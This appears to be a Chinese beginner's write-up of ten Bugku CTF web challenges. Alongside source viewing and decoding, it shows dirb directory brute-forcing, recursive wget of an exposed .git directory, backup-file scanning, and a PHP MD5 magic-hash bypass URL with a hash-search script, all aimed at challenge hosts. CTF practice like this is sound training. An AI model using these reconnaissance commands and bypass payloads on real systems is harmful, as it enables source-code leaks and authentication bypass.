Bugku-CTF-web(适合初学者)

发布于:2025-06-26 ⋅ 阅读:(19) ⋅ 点赞:(0)

今天刷了一下 Bugku-CTF-web 的1-10题,比较简单,比较娱乐,基本上看看源代码就可以了,非常适合初学者。能够学习到base64编码,unicode编码,dirb web目录遍历,SourceLeakHacker 备份文件遍历,hackbar插件,wget 操作,git 操作,php 弱类型md5 绕过等知识点。

ailx10

2001 次咨询

4.9

网络安全优秀回答者

互联网行业 安全攻防员

去知乎ailx10 咨询

1、滑稽

直接F12查看源代码

2、计算器

F12查看源,发现限制了输入长度

尝试修改,发现修改不了值,继续搜寻,发现code.js前端代码中存在flag

3、alert

打开网页就是弹框,F12也看不了

废话不多说,view-source:直接强制查看源代码

最后看到了一行注释

<!-- &#102;&#108;&#97;&#103;&#123;&#54;&#54;&#48;&#49;&#54;&#49;&#52;&#50;&#50;&#99;&#102;&#99;&#100;&#51;&#57;&#48;&#51;&#54;&#102;&#98;&#101;&#97;&#49;&#55;&#97;&#48;&#49;&#52;&#54;&#102;&#54;&#101;&#125; --></script>  

直接Unicode解码,拿到flag,也可以Python解码

import html

encoded_str = "&#102;&#108;&#97;&#103;&#123;&#54;&#54;&#48;&#49;&#54;&#49;&#52;&#50;&#50;&#99;&#102;&#99;&#100;&#51;&#57;&#48;&#51;&#54;&#102;&#98;&#101;&#97;&#49;&#55;&#97;&#48;&#49;&#52;&#54;&#102;&#54;&#101;&#125;"
decoded_str = html.unescape(encoded_str)

print(decoded_str)

4、你必须让他停下

F12能看到flag,也是一瞬间就没有了,还是 view-source: 多刷几次,就拿到flag了

5、头等舱

查看源代码:线索应该在请求头里面

结果在响应头中找到了 flag

6、GET

阅读代码,发一个GET请求就能拿到flag

7、POST

阅读代码,使用 Hackbar 提交一个POST请求,即可获得flag

8、source

查看源代码,拿到flag线索

flag{Zmxhz19ub3RfaGvyzSEHIQ==}

使用base64解码,发现不是flag

尝试目录暴力破解

dirb http://114.67.175.224:12221/

可以发现存在 /.git/ 目录

使用wget 递归下载

wget -r http://114.67.175.224:12221/.git

使用 git reflog 查看历史操作记录

使用 git show 40c6d51 查看到 flag

9、矛盾

在 PHP 中,当你使用 == 进行比较时,如果比较的两个值类型不同,PHP 会尝试将它们转换为相同的类型,然后再进行比较

10、备份是个好习惯

没啥线索,根据题目,是有一个备份文件,暴力破解它

python3 SourceLeakHacker.py -u http://114.67.175.224:12717/

查看备份的php代码

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

要拿到 flag,需要满足条件 md5($key1) == md5($key2) && $key1 !== $key2

这意味着 $key1 和 $key2 的 MD5 哈希值必须相同,但 $key1 和 $key2 本身不能相同。[1]

http://114.67.175.224:12717/?kkeyey1=QNKCDZO&kkeyey2=240610708

写个PHP脚本,输出专属ailx10的字符串,哈希结果是以0e开头,后面跟着纯数字

  • md5(ailx10597395974) = 0e607193511294857832340276123482
  • md5(ailx101258820612) = 0e410179301007418220015365512318
<?php
function findMD5Collision($prefix) {
    // 循环尝试不同的字符串
    for ($i = 0; $i < pow(10, 12); $i++) {
        // 生成一个候选字符串
        $candidate = $prefix . $i;
        // 计算 MD5 哈希值
        $md5 = md5($candidate);
        // 检查哈希值是否符合要求
        if (preg_match("/^0e[0-9]{30}$/", $md5)) {
            echo $candidate;
            return $candidate; // 返回符合条件的字符串
        }
    }
    return false; // 如果没有找到,则返回 false
}

$prefix = "ailx10"; // 我们希望字符串以 "ailx10" 为前缀
$string = findMD5Collision($prefix);
if ($string !== false) {
    echo "找到的字符串: " . $string . "\n";
    echo "MD5 哈希值: " . md5($string) . "\n";
} else {
    echo "未找到符合条件的字符串。\n";
}
?>

参考

  1. ^md5绕过(Hash缺陷) php 弱类型总结 - Mrsm1th - 博客园

发布于 2024-10-06 07:42・江苏 


网站公告

今日签到

点亮在社区的每一天
去签到